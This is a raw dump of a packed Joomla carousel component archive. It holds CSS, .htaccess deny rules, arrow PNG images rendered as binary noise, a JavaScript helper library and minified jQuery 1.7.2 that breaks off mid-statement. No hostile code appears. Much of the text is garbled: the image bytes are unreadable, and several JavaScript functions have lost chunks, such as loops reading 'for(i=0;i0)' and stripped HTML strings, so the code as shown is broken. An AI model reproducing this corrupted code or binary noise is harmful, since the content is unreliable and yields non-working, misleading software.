/* IE6-8 */ -moz-box-shadow: 0px 1px 2px 1px #ccc; -webkit-box-shadow: 0px 1px 2px 1px #ccc; box-shadow: 0px 1px 2px 1px #ccc; -moz-border-radius: 10px; -webkit-border-radius: 10px; border-radius: 10px; /* future proofing */ -khtml-border-radius: 10px; /* for old Konqueror browsers */ height:30px; } ul#submenu li a { display:block; padding:8px; -moz-border-radius: 10px; -webkit-border-radius: 10px; border-radius: 10px; /* future proofing */ border:1px solid transparent; } ul#submenu li { margin-right:10px; } ul#submenu li a:hover { border:1px solid lightgray; text-decoration:none; } ul#submenu li a.active { border:1px solid lightgray; text-decoration:none; } #button_edit_slides_general{ float:right; margin-top:16px; margin-right:20px; } PK@y>\)Icomponents/com_unitehcarousel/assets/arrows/elegant_round_white/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ %  Icomponents/com_unitehcarousel/assets/arrows/elegant_round_white/right.pngnuW+APNG  IHDR--: pHYs  ~IDATX͙k#eL_!6PXh"¶i +ʞae daғaJYӆ֖P6n1"ں4h;$My@H&|ɛyߙ$a \g#}~? n՞M XnZy$=Z7I$ ^!Z$ݕ6-#CI']MSW$ͷQ˜_qIO:(@R#yS@˽KsV/fff(J,..=0dBƆ߸`)xP(D>S*H$~`[7bww5bxo3 (jHT"2Y<`HRVYXXm4ߵ!6sw*{{{LLLDLŮWL%looeddd#Wk,--144`ѕxj"նm,`T*e5ԆqGtx v/VM{ou&o sh47p[/# 4]TY%$Y^筹Q{-.O$]ks֬$[y\.ZCmI gЊ{#E"ꅏVDqخ,_=\l`#{˳{O4IENDB`PK@y>\Jcomponents/com_unitehcarousel/assets/arrows/elegant_round_white/index.htmlnuW+APK@y>\EZOcomponents/com_unitehcarousel/assets/arrows/elegant_round_white/right_hover.pngnuW+APNG  IHDR--:tEXtSoftwareAdobe ImageReadyqe<IDATx̙MkSQ' mIBmVئp'RtťЍ W]V"n\i>HlZVB|9s{.x&sҍ>=w̜9R:m"oF_@_Bl-%+OoRC;=7謞gs1py~Wo My}->G?ڊ+Bz^}}OdV*^@>~6A{@?RjmV6Ic _ѳ@;)vւ&+Y"[s|> >A'h]!Jq*-C9 fV+B!fnKeUͱ`iX,r_.), LLLDQNhWus\.H$83[*;x888p8̱CjEaPI&V⑑X,trPFѨA8Nښiǵv &]*}}}z9%Tƒ  FtZUd20>>.7QLV*Wn୭-9S8N\zC:u߇H$6 FGG9P@J6/pIbHQ˘WVqztt$7r1aևa M]]]OcuIKn㯸bYƪAޭdR;t w0Mz&ݢqwǭ Ɲ0TwkqH,TZM.@K_s]#[4f],:~YyB+NL+>l=h(L[:\.Ncomponents/com_unitehcarousel/assets/arrows/elegant_round_white/left_hover.pngnuW+APNG  IHDR--:tEXtSoftwareAdobe ImageReadyqe<IDATxYMkal1TU$ &œ)xЃG/z"xxM"744bQcH?Lԙ|n2АnfNwƴ ։,7M?qqqεD~G$Ԥ"ҽqqH} A$Mxeeno!젏!4SDN-i 6<kTi 7K?@"]R{>7i(ibH߬VŃiRN/d xie6[YYP("u("hv;tv)ATH$Td2qRItm.xVWWaddl6gI_ qUt: T <QIҧ8 \.zz?BOsp, dYՋtF\veqqQ_Eap80== \'4/l$RNyNNyզw3$6a sG$OQ`C1}GN@&da(̗NRg˓ lxUҴbx {vXsDF#m@DenC5U =*[z`b Xc4]aɖDx[FEt!`~U"izM0!jMI嚙\MMHcomponents/com_unitehcarousel/assets/arrows/elegant_round_white/left.pngnuW+APNG  IHDR--:tEXtSoftwareAdobe ImageReadyqe<hiTXtXML:com.adobe.xmp -w){IDATx̙KSaǟi0x!B0rxUFWB?xUWBEEten"/2PP岹yz{b37y޳}8TUF.AoH%Uߋ!ȕ"K!Oo ndod xLiʫ -8U 2=ڧjt=2گψ<ӎ[^=Cy UUZfrԘ{N":>lll2sWvzڎe^+"x\Q}>477 q~N EJ99vs&sb300]4WؗzMɽؾGqNS/Ͽ>N@&z& ^b%@Af$Gdda#4b &Q9[7V |e4LVcsm$esSE1F)^ѝ-Lq<3XVa#9 OȄ9b.4||7i-r\FD̗tfDyxA#L\!?%Kcomponents/com_unitehcarousel/assets/arrows/elegant_round_white/options.ininuW+Awidth = 45 height = 45PK@y>\)5components/com_unitehcarousel/assets/arrows/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6components/com_unitehcarousel/assets/arrows/index.htmlnuW+APK@y>\Jcomponents/com_unitehcarousel/assets/arrows/elegant_round_black/index.htmlnuW+APK@y>\"gHcomponents/com_unitehcarousel/assets/arrows/elegant_round_black/left.pngnuW+APNG  IHDR--:tEXtSoftwareAdobe ImageReadyqe<hiTXtXML:com.adobe.xmp اIDATx̙Q"a'c#"(=O Zzݧ,}%},rY^bC׽芈8{g%umO5sxWɊ8r#wZ9rFfZ(_s}!w$Z{d)!.bW:ef40B]HBF6t|vEμ < yq.v61c]F? b'C0aL FQX SQ9KJ$\1 UNL&FzW%,X,fs;ݵUvi*6;WZ:FCU%M\V}sH6g$;ߝ@_%?:ړ$W澢g|4eM@@ypp@ێZqa >!9  '1skj Upq.~ /8o qqԫ[fu\.Y[Lk}YyQv?S$bRu~v# 2_ORsXIENDB`PK@y>\!?%Kcomponents/com_unitehcarousel/assets/arrows/elegant_round_black/options.ininuW+Awidth = 45 height = 45PK@y>\&t11Ncomponents/com_unitehcarousel/assets/arrows/elegant_round_black/left_hover.pngnuW+APNG  IHDR--:tEXtSoftwareAdobe ImageReadyqe<IDATxYKq>n -4K1ZZ8  B%!034лƠ.*Q$+Sie.Vy*-9X͹[<8ѝ=;_ "?3_~WIQB!5O!'.D@V -q~/-E#"^"ҢGnm9 eyFsx&z"$|V +7O4 R0bC^Ft9Ta$G#)<=ULDn$(e1dffJ!pS9P^^~%G4yyࢢ">OljǤ,Aoo/zE)ƕ6Bǧs厎())z8@ Tƨhoo>-2qQSL&*V= Vu`hhL:aJuyj-uvvBAAṹ9M^*ʸ6 ZZZn'SLRs= !AK1}& &"xM$Q2Fqq1466ؘyaܥ1X,033Z J6 ݭr vvъ# ͐ Z|XOHXt: MMMv߅A+5g 7x FFFl6+M nhot&AQ⼿_s!ߢ"Z({*e!\~oIIIcomponents/com_unitehcarousel/assets/arrows/elegant_round_black/right.pngnuW+APNG  IHDR--: pHYs  ~IDATX͙Qd[ap!!WP#*]0.{1eF*#Qse I !sHe]9sҥi6/ɗwЗ1~]%G {@/)Pu<^`5U0RYj*J^=/оA5 1 = m 848(Я4 %mmV]NKdiYt:-""-!7p˲hHדL& ^ Q\kkkHlք~\""RV5sGBM)""R,5sб~e/Z;˭8NKӑV%TJ#Lc4 lVáui?nZ:99a0x7O8Jnr||ߟIOIENDB`PK@y>\)Icomponents/com_unitehcarousel/assets/arrows/elegant_round_black/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ ##Ocomponents/com_unitehcarousel/assets/arrows/elegant_round_black/right_hover.pngnuW+APNG  IHDR--:tEXtSoftwareAdobe ImageReadyqe<IDATxY]HSa~(Sh_"X"օ^v+", D (̒dm9i;0m=x{{Q܋`08gZ};͑Ez=tuui? 7@2hYvb 333a$zZIX,fLJ p@]] qҊĢ@ n +++055Bjt!)%F%a!WHREGM---011ccc"Zt=D"){PQG(,TGFF@IA0aTxzIƿSLXynR zN.g]\QM&c7l6$ qa mdCQɿR*]@F| l;ޱBjT Fn{tiqnsG[-zoY/"4 e_ *ަ"L'D*фoG/ǡMQy YY`уeN4"ũܽ_L7`*;N>qN/XdU aBCSLقfJZV3 & mH%#Nk.k& x+U+dG kfs 0deIENDB`PK@y>\pGG.components/com_unitehcarousel/assets/jsfunc.jsnuW+A var LF = String.fromCharCode(13) + String.fromCharCode(10); function isIE(){ if(document.all) return(true); else return(false); } ///////////////////////////////////////////// //for tracing document.write(""); var traceNum = 0; function trace(text){ //return(false); //remove me var div; placeX = 1000; if(arguments.length>1) placeX = arguments[1]; div = document.getElementById("traceDiv"); if(!div){ alert(text); return(false); } traceNum ++; div.style.backgroundColor = "#B9DBF0"; div.style.background = "#B9DBF0"; div.style.display = ""; div.style.left = placeX; div.innerHTML = "
    " + traceNum + ":  " + text + div.innerHTML; } function clearTrace(){ var div; div = getElement("traceDiv"); if(!div) return(false); div.innerHTML = ""; traceNum = 0; } ///////////////////////////////////////////////////////// function getElement(objectName){ var obj = document.getElementById(objectName); if(!obj){ alert(objectName + " error - no object"); return(false); } return(obj) } /////////////////////////////////////////////////// function getElements(objectName){ var obj = document.getElementsByName(objectName); if(!obj){ alert(objectName + " error - no object"); return(false); } return(obj) } /////////////////////////////////////////////////// function displayElement(elementID,show){ if(typeof show == "undefined") var show = true; var el = getElement(elementID); if(!el) return(false); if(show == true) el.style.display = ""; else if(show == false) el.style.display = "none"; } /////////////////////////////////////////////////// function focusElement(elementID){ var el = getElement(elementID); if(!el) return(false); el.focus(); } /////////////////////////////////////////////////// function enableElement(elementID,show){ if(typeof show == "undefined") var show = true; var el = getElement(elementID); if(!el) return(false); el.disabled = (!show); } ////////////////////////////////////////////////////////////////////////////// function valueElement(objectName,text){ var obj = document.getElementById(objectName); if(!obj){ alert(objectName + "error - no object"); return(false); } if(obj.tagName == "TD" || obj.tagName == "DIV") obj.innerHTML = text; else obj.value = text; return(obj) } //------------------------ select fuinctions ----------------------------------------- ////////////////////////////////////////////////////////////////////////////// // return selected option of select box function getSelectedOption(selectID){ var i,selectedOption,select; selectedOption = false; select = getElement(selectID); for(i=0;i0) arrEx = exValues.split(","); if(maskValues.length>0) arrMask = maskValues.split(","); str = ""; for(i=0;i0 && searchInArray(arrEx,value) != -1) flag = false; else{ if(maskValues.length>0 && searchInArray(arrMask,value) == -1) flag = false; } if(flag == true){ if(str.length > 0) str += sap; str += value; } } return(str); } ////////////////////////////////////////////////////////////////////////////// // select multiple items by value function selectMultiple(selectID,values,sap){ var i,select,arrValues,value; values = String(values); select = getElement(selectID); if(values.length == 0) return(false); arrValues = values.split(sap); if(arrValues.length == 0) return(false); for(i=0;i0) values += sap; if(flagNames) values += select.options[i].text; else values += select.options[i].value; } return(values); } ///////////////////////////////////////////// //remove all items from a select function clearSelect(selectID){ var select = getElement(selectID); while(select.options.length != 0) select.remove(0); } ///////////////////////////////////////////// //find select option by value, and update text function updateSelectByValue(selectID,value,text){ var select,selectedOption; selectedOption = false; select = getElement(selectID); for(i=0;i= 0){ if(select.selectedIndex == select.length-1) optionOld = null; else{ indexOld = select.selectedIndex+1; optionOld = select.options[indexOld]; } } } else{ if (select.selectedIndex >= 0){ indexOld = select.selectedIndex; optionOld = select.options[indexOld]; } } try { select.add(option, optionOld); // standards compliant; doesn't work in IE } catch(ex) { if(indexOld != -1) select.add(option, indexOld); // IE only else select.add(option); // IE only } if(select.multiple == false) option.selected = true; } ////////////////////////////////////////////////////////////////////////////// //remove item from list , by the value function removeFromSelectByValue(selectID,value){ var select,options,i,removeIndex,selectIndex; select = getElement(selectID); options = select.options; removeIndex = -1; for(i=0;i=0) select.options[selectIndex].selected = true; } } ///////////////////////////////////////////////////////// //Find absolute position on the screen of some element function findPos(obj){ var curleft = curtop = 0; if (obj.offsetParent) { curleft = obj.offsetLeft; curtop = obj.offsetTop; while (obj = obj.offsetParent) { curleft += obj.offsetLeft; curtop += obj.offsetTop; } } return[curleft,curtop]; } ///////////////////////////////////////////////////////// // set absolute div to distanation div position function setDivToDivPos(srcID,dstID,dx,dy){ if(!dx) var dx=0; if(!dy) var dy=0; var pos = findPos(getElement(dstID)); var div = getElement(srcID); div.style.left = Number(pos[0]+dx)+"px"; div.style.top = Number(pos[1]+dy)+"px"; } ///////////////////////////////////////////////////////// //Get selected radio number. if not - return 0 function getSelectedRadioNumber(radioID){ var radios,i; radio = getElements(radioID); for(i=0;i0) str = String("0" + num); return(str); } ///////////////////////////////////////////////////////// // print array by trace name/id -> element function print_r(arr){ if(typeof arr!="object"){ trace("print_r error , the given array argument is not object, but: " + typeof arr); return(false); } var i,x; for(x in arr){ trace(x + " - " + arr[x] + ""); } } ///////////////////////////////////////////////////////// function trim(str){ return str.replace(/^\s+|\s+$/g,""); } ///////////////////////////////////////////////////////// //get view area sizes (set global function getViewSizes(){ var viewWidth,viewHeight; //firefox if(typeof window.innerWidth != 'undefined'){ viewWidth = window.innerWidth; viewHeight = window.innerHeight; } //explorer else if (typeof document.documentElement != 'undefined' && typeof document.documentElement.clientWidth != 'undefined' && document.documentElement.clientWidth != 0){ viewWidth = document.documentElement.clientWidth; viewHeight = document.documentElement.clientHeight; } //older explorer else{ var bodies = document.getElementsByTagName('body'); if(!bodies){ alert("getViewSizes (javascriptFunctions.js) error - the body not found"); return([0,0]); } viewWidth = bodies[0].clientWidth; viewHeight = bodies[0].clientHeight; } return([viewWidth,viewHeight]); } ///////////////////////////////////////////////////////// //deside how the error will be printed function printError(err){ alert(err); } ///////////////////////////////////////////////////////// // load external js code function loadJsCode(code){ if(window.execScript) window.execScript(code) else window.eval(code); } ///////////////////////////////////////////////////////// //string left and string right functions: function left(str,n){ if (n <= 0) return ""; else if (n > String(str).length) return str; else return String(str).substring(0,n); } function right(str, n){ if (n <= 0) return ""; else if (n > String(str).length) return str; else { var iLen = String(str).length; return String(str).substring(iLen, iLen - n); } } //-------------------------------------------------------------------------- function getSrcElementFromEvent(e){ if(isIE()) return(e.srcElement); return(e.target); } //------------------------------------------------------------------------------------------------------------------------------------------------------ // dump functions function dump_a(obj){ var ret_val="
    "; if(typeof obj == 'object' || typeof obj == 'function') { //ret_val += '***'+obj.name+'***
    '; for(var i in obj){ ret_val += ('' + i + ' (' + typeof obj[i] + ') :' + obj[i] + '

    '); // if (typeof obj[i] == 'object')// && (bool == true)) // ret_val += "
    "+ dump(obj[i]) +"
    '); ret_val += "
    "; return ret_val; } function dump_all(obj,count){ //if(obj == null) if(typeof obj == 'undefined') return "undefined"; if( obj == 'parent') return "Pt4567"; // var ret_val= ""; var ct = ( count == null)? 3 : parseInt(count)-1 if (ct > 0) { //ret_val += ct+ ('(' + typeof obj + ') :' + obj + '
    ')+dump_all(obj,ct); /**/ var ret_val = '
    ' + ('
    ' + ct + '
    '); if(typeof obj == 'object') { for(var i in obj){ ret_val += ('' + i + ' (' + typeof obj[i] + ') :' + obj[i] + '

    '); if (i != 'parent'){ if ((typeof obj[i] == 'object') )// && ((count == null) )) ret_val += "
    "+ dump_all(obj[i],ct) +"
    ' + obj + ' (' + typeof obj + ') :' + obj + '

    '); ret_val += '
    '; /**/ } if (ret_val == null) return "stoped looking"; else return ret_val; } /////////////////////////////////////////////////////////////// function print_blank(txt,objName){ var preText = (objName == null) ? '' : objName; if (objName != '') preText = '***'+objName+'***
    '; var a = window.open("about:blank"); a.document.writeln(preText+txt); a.document.close(); } /////////////////////////////////////////////////////////////// function dmp(obj,depth){ var depth = (depth == null) ? 0 : depth; var preText = ''; if (depth>1){ print_blank(dump_all(obj,depth),obj.name); } else{ print_blank(dump_a(obj),obj.name); //preText = '***'+obj.name+'***
    '; } } //-------------------------------------------------------------------------- //get array with all form elements function getObjFormElements(formID){ var obj = new Object(); var form = getElement(formID); var name,value,type,flagUpdate; //enabling all form items connected to mx for(var i=0; i/? "; var charSet = ""; if (number == true) charSet += numberChars; if (lower == true) charSet += lowerChars; if (upper == true) charSet += upperChars; if (other == true) charSet += otherChars; return charSet.charAt(getRandomNum(0, charSet.length)); } //------------------------------------------------------------------------------------------------ //generate password (first - char, lowercase) function generatePassword(len){ var str = getRandomChar(false,true,false,false); //get char only for(var i=0;i\Wxrxr2components/com_unitehcarousel/assets/jquery.min.jsnuW+A/*! jQuery v1.7.2 jquery.com | jquery.org/license */ (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"":"")+""),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){if(c!=="border")for(;e=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.2",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){if(typeof c!="string"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c
    a",d=p.getElementsByTagName("*"),e=p.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=p.getElementsByTagName("input")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:p.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode==="CSS1Compat",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete p.test}catch(r){b.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),i.setAttribute("name","t"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n in{submit:1,change:1,focusin:1})m="on"+n,o=m in p,o||(p.setAttribute(m,"return;"),o=typeof p[m]=="function"),b[n+"Bubbles"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName("body")[0];!u||(m=1,t="padding:0;margin:0;border:",r="position:absolute;top:0;left:0;width:1px;height:1px;",s=t+"0;visibility:hidden;",n="style='"+r+t+"5px solid #000;",q="
    "+""+"
    ",d=c.createElement("div"),d.style.cssText=s+"width:0;height:0;position:static;top:0;margin-top:"+m+"px",u.insertBefore(d,u.firstChild),p=c.createElement("div"),d.appendChild(p),p.innerHTML="
    t
    ",k=p.getElementsByTagName("td"),o=k[0].offsetHeight===0,k[0].style.display="",k[1].style.display="none",b.reliableHiddenOffsets=o&&k[0].offsetHeight===0,a.getComputedStyle&&(p.innerHTML="",l=c.createElement("div"),l.style.width="0",l.style.marginRight="0",p.style.width="2px",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof p.style.zoom!="undefined"&&(p.innerHTML="",p.style.width=p.style.padding="1px",p.style.border=0,p.style.overflow="hidden",p.style.display="inline",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display="block",p.style.overflow="visible",p.innerHTML="
    ",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position="fixed",g.style.top="20px",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top="",e.style.overflow="hidden",e.style.position="relative",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle&&(p.style.marginTop="1%",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!=="1%"),typeof d.style.zoom!="undefined"&&(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e1,null,!1)},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){var d=2;typeof a!="string"&&(c=a,a="fx",d--);if(arguments.length1)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,f.prop,a,b,arguments.length>1)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var 